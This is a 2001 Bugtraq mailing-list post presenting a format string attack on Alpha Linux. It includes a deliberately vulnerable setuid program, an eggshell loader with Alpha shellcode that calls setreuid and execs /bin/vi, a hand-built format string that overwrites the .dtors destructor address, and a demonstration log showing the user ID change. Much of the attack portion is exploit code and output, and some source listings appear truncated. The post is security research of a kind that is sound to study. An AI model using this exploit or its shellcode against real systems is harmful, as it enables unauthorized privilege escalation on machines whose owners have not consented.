format string attack on the alpha systems

From: SeungHyun Seo (
Date: 09/27/01

Date: Thu, 27 Sep 2001 22:49:52 +0900 (KST)
From: SeungHyun Seo <>
To: bugtraq <>
Subject: format string attack on the alpha systems
Message-ID: <>

                        "Format String Attack on alpha system"
                        Seunghyun Seo (truefinder), 2001/09/24

- Instruction ]

  This article describes format string attack in the limited situation on
alpha system
 - i will call the operating systems which are based on alpha cpu as alpha
systems .
 i'm sorry that this is not a really cool something. coz we know well how
to exploit format
 string bugs on x86 systems and the others too. you would notice that the
process of our
 work mihgt be similar to exploit on x86, but there are exactly difference
between them.
 someone didn't think it really work on alpha systems and beleive that
it's impossible to
 exploit, since it use 64bits address which have so many 0x00 so that we
couldn't control
 it as sequential characters. now i will discuss about it whether it's
possible to exploit
 or not.

  It seems that it's impossible to exploit format string bugs on alpha
 i remmember i had discussed it with so many ppls on internet for 2
monthes ago and we
 concluded it is not a exploitable problem, but just a program bug. after
a one month past,
 i'd got some idea about that and i got tested several works on public
alpha linux. (RH 7.1)
 at last, i supprised that it worked, though there were some limitation in
the situation.

 briefly, the limitated situation is like below

 1. vulnerable application should get user input string from the file
descriptor like
    function 'fgets()'
 2. address align and format string should be set by one's hand in detail
   ( it means it's different from attack with 'brute forcing method' )
 3. program should have read permission for reading static address of
   ( it's for your convenience, if not, it could be very difficult to
exploit. )

 anyway, i think that format string bugs are not safe any more on alpha

- Content ]

  Alpha is the CPU using 64 bits registers and addresses. Alpha *NIX has
each file format.
 digital unix uses coff (Common object file format), netbsd uses elf 64 (
excutable and
 linkable file format) , linux uses also elf 64. whatever in general,
stack base address is
 allocated to 0x000000011fffffff ~ 0x0000000000000 and .text section is
allocted to
 0x0000000120000000 ~ ???????????????? on the alpha systems.
  what a unhappy ! there are so many null(0x00) bytes in their address.
 in the past time, ohhara ( ) described how to exploit
buffer overflow
 bug on alpha linux. he announced that our arbitrary return addresses
couldn't be inserted
 into our environmental variables or arguments all, but only one does. coz
there are so many
 null code in the address and it blocks our work.

 <case of buffer overflow exploit>

  "/* align */"
  "/* nops */"
  "/* shellcode */"
  "/* ; return addresses */
  if above string is our arbirary string, then it is reconized as below

  "/* align */"
  "/* nops */"
  "/* shellcode */"
                       \x00 : this would be reconized end of string.
  this feature is showing why the exploit of alpha linux buffer overflow
should get only
 one return address. and that is a fatal problem against the format string
bug exploit.
 as a matter of fact , arbitrary format string is constructed with 2 or
more addresses
 like this

 <case of format string exploit>

  "blah%blah .u%hn"
  "blah%blah .u%hn"
  "blah%blah .u%hn"
  "blah%blah .u%hn"
  It seems to be impossible to set that strings into our program
environmental values or
 arguments properly. i explained the reason 'why' already. environmental
variables are read
 as a string before program started and it's also read as a common string
(string is a
 sequential bytes that is ended by null 0x00). arguments are also read as
a string. it works
 like case of environmental variables too. so we couldn't construct our
arbirary format string
 stuff in the environmental variables or arguments with expected branch
address and control

  now we know that it's very difficult to set arbitrary format strings
into user environmental
 variables or application arguments. it seems to be impposible even, so
the program that has
 bugs in his option like "-x [string]" is not to be vulnerable. i have no
idea about that yet,
 since we couldn't use our arbitrary format string that include 64bits
addresses to fit
 properly. if someone have idea about that, then plz send mail to me
 we need more discussion about it.

  But how about application that using 'fgets()' or 'read()' for getting
user input string ?
 How about application that using functions which get user input strings
 file descriptor ?
 * this is the point of this document.

  for instance, fgets() reads string from file descriptor still EOF(-1)
encounted. it means
 null(0x00) is not a problem to us more over, so we could put something
into it's stack like
 64bits addresses and arbitrary format control directives. exactly, 0x00
could be passed to
 that application. we might use it as a 'our arbirary format string'.
 as a result, it gives us more chances.

  if application use fgets() for user input string, something binary
character stuffs could
 be passed and set in his stack. so our hell string would be stored in
application stack.
 you can confirm what it features from snip1

 -- snip1 --
 0x11ffff7b0 1a 00 00 00 00 00 00 00 61 61 61 61 61 61 61 00
 0x11ffff7c0 00 00 01 1f ff ff ff 25 70 00 df 03 00 00 00 00
 -- snip2 --

  But there are another problem, a kind of printf() functions reconize it
also as a string
 ,which should be cutted off in front of "null", it would parse only above
string as "aaaaaaa"
 character set. so speak to say, it prints only "aaaaaaa" and do nothing
after. parsing is over.
 however, we need not be worried about that, it could be solved simply. we
know that we could
 use %digit$ directives to pull something out from stack. and if we get
command string to
 locate in the forth of string, then we could keep our work on


  ok. it seems to work well.
 the remant of our work is doing exploit.

  In the eve of exploit, i have to describe some of my work to readers.
 since i'd used public system and i think it is not general exploit,
 you should know what i had to do. if you got it all, then you could also
test it on your
 *might you need some attention to apply my sources to your system.

  i'd got two accounts seo( uid 27817 ), true( uid 28930 ). vulnerable
program has set-user-bit
 and it named vul, it's owned by user seo. The attacker was true(28930).
he coded exploit
 sources to try to exploit it. it was a eggshell 'egg.c' and arbitrary
format string attack
 script ''.
 you can notice something different shellcode against common one in my
 i want to explain it now. i had to add proper setreuid() into shellcode
and replace
 "/bin/sh" to "/bin/vi", since my freeshell admin changed original "sh" to
his abnormal one.
 his "sh" didn't seem to work properly, so i decided to excute anything
 he also changed "/usr/bin/vi" to "/bin/vi" , thus after all, "vi" was
selected to excute.
  exploit would attack to change .dtors's destructor routine
address to our abitrary
 eggshell address, so that program would jump to there after end of all
program routines.
 shellcode would call setreuid() to change his uid and call exec
"/bin/vi". we could
 confirm our resutl whether it was exploited or not by typing ":!id". more
detail description

- Description ]

 There are 3 sources egg.c,, vul.c

 + egg.c is the eggshell on alpha system, he include nops and exec
"/bin/vi" shellcode
   it would also set align before exploit, it could be used directly after
your compilation.
 + vul.c is format string vulnerable proggie which use "fgets()" for user

 + is a script for attack, it's not brute force but hand made
   "hand made" means you have to set your own arbitrary format string with
addresses and
   offset by yourself on your system. it couldn't be used directly, you
have to modify this
   to fit it on your system i guess. defualt .dtors's destruct address is
0x120010be0 and
   we change that to 0x11ffffcb0

  if you want to try it on your system

   first, you should compile egg.c, vul.c and change our victim 'vul'
owner blah,
  mode to 4755

   second, you should find .dtors's address of vul, use gnu binary utility
  'objdump -s -j .dtors ./vul' will help you.
  you might see similar features like the snip2.
   -- snip2 --
   public.alpha.system> objdump -s -j .dtors vul

   vul: file format elf64-alpha

   Contents of section .dtors:
    120010bd8 ffffffff ffffffff 00000000 00000000 ................
   -- snip2 --

   check .dtors's destructor address of vul is 120010be0

   third, we should make some arbirary string. you can see example in the
  it could be bored since it should be set by your hand in detail, never
brute force script

  example) "%18\$176p%19\$ln %18\$74p %20\$n %23\$1d %21\$n %18\$30p
   * this arbirary string constructed with four addresses and it would
overwrite four bytes
    0x120010be0 ~ 0x120010be3 with our expected parted address. if it
works correctly, then
    program would jump to 0x11ffffcb0 which is address of our eggshell
hole (nops+shellcode)
    region. if not, program killed by signal SIGILL or SIGSEGV.
    in detail, %19$ln will overwrite address 0x120010be0~8 with value
0x00000000 0x000000b0,
    %20$n will overwrite address 0x12001be1 with value 0xfc and so blah
    it's similar on x86 exploit.

   finally, we could try it
   ./egg 1
   and next try would be
   ./egg 2
  Actual demonstration were attached. confer it.

- Demonstaration ]

public.alpha.system> ls
egg egg.c vul vul.c
public.alpha.system> objdump -s -j .dtors vul

vul: file format elf64-alpha

Contents of section .dtors:
 120010bd8 ffffffff ffffffff 00000000 00000000 ................

public.alpha.system> id
uid=28930(true) gid=501(nis) groups=501(nis)
public.alpha.system> whereis vi
vi: /bin/vi /usr/share/man/man1/vi.1.gz
public.alpha.system> ./egg 1
sh-2.04$ ./

Vim: Warning: Input is not from a terminal

~ VIM - Vi IMproved
~ version 6.0z ALPHA
~ by Bram Moolenaar et al.
~ Vim is open source and freely distributable
~ Help poor children in Uganda!
~ type :help iccf<Enter> for information
~ type :q<Enter> to exit
~ type :help<Enter> or <F1> for on-line help
~ type :help version6<Enter> for version info
uid=27817(seo) gid=501(nis) groups=501(nis)

Hit ENTER or type command to continue


sh-2.04$ uid=28930(true) gid=501(nis) groups=501(nis)


- Sources ]

++ vul.c

 * this simple proggie has format string bug
 * it's the source especially coded for vulnerable situation


        char *ch = "";
        char buf[512];

        fgets( buf, sizeof(buf), stdin );
        printf (buf);


++ egg.c

 * this shall set egg shell in our environment
 * ./egg <size> <align>
 * truefinder,

#include <stdio.h>
#include <string.h>
#include <stdlib.h>

#define DEF_EGGSIZE 4096
#define DEF_ALIGN 5

char nop[] = { 0x1f, 0x04, 0xff, 0x47, 0x00 };


static char shellcode[] =
"\xa9\x6c\x1f\x22\x02\x71\x3f\x22" /* a0 <- 27817 , a1 <- 28930 */
"\x80\xd4\xef\x47" /* call setreuid() */
"\xff\x7f\xea\x6b" ;
/* setuid(27817, 28930 ), exec "/bin/vi" shellcode by truefinder */


static char shellcode[] =
        "\xff\x7f\xea\x6b" ;
        /* setuid(0) , exec "/bin/sh" shellcode by truefinder */

main( int argc, char *argv[] )

        char *eggbuf, *buf_ptr;
        int align, i, eggsize ;

        align = DEF_ALIGN;
        eggsize = DEF_EGGSIZE ;

        if ( argc < 2 ) {
                printf ("%s <align> <size>\n", argv[0] );

        if ( argc > 1 )
                align = DEF_ALIGN + atoi(argv[1]);

        if ( argc > 2 )
                eggsize = atoi(argv[2]) + DEF_ALIGN ;

        if ( (eggbuf = malloc( eggsize )) == NULL ) {
                printf ("error : malloc \n");
                exit (-1);

        /* set egg buf */
        memset( eggbuf, (int)NULL , eggsize );

        for ( i = 0; i < 250 ; i++ )
                strcat ( eggbuf, nop );

        strcat ( eggbuf, shellcode );

        for ( i =0 ; i < align ; i++ )
                strcat ( eggbuf, "A");

        memcpy ( eggbuf, "S=", 2 );
        putenv ( eggbuf );





perl -e 'system , print "%18\$176p%19\$ln %18\$74p %20\$n %23\$1d %21\$n
%18\$30p %22\$n
| ./vul

- Reference ]

 [1] "Buffer overflow exploit in the alpha linux"
 [2] "Format string attack and General exploit"
      truefinder ,
 [3] "Overwriting the .dtors section"
      Juan M. Bello Rivas ,
 [4] "Assembly Language Programmer's Guide"
       Compaq Computer Corporation 1996
 [5] "Smashing The Stack For Fun And Profit"
      Aleph One,


- EOF ]

Seunghyun Seo , Inha university Group of Research for Unix Security
[e-mail] , [office] Inha university 4-207 , Incheon

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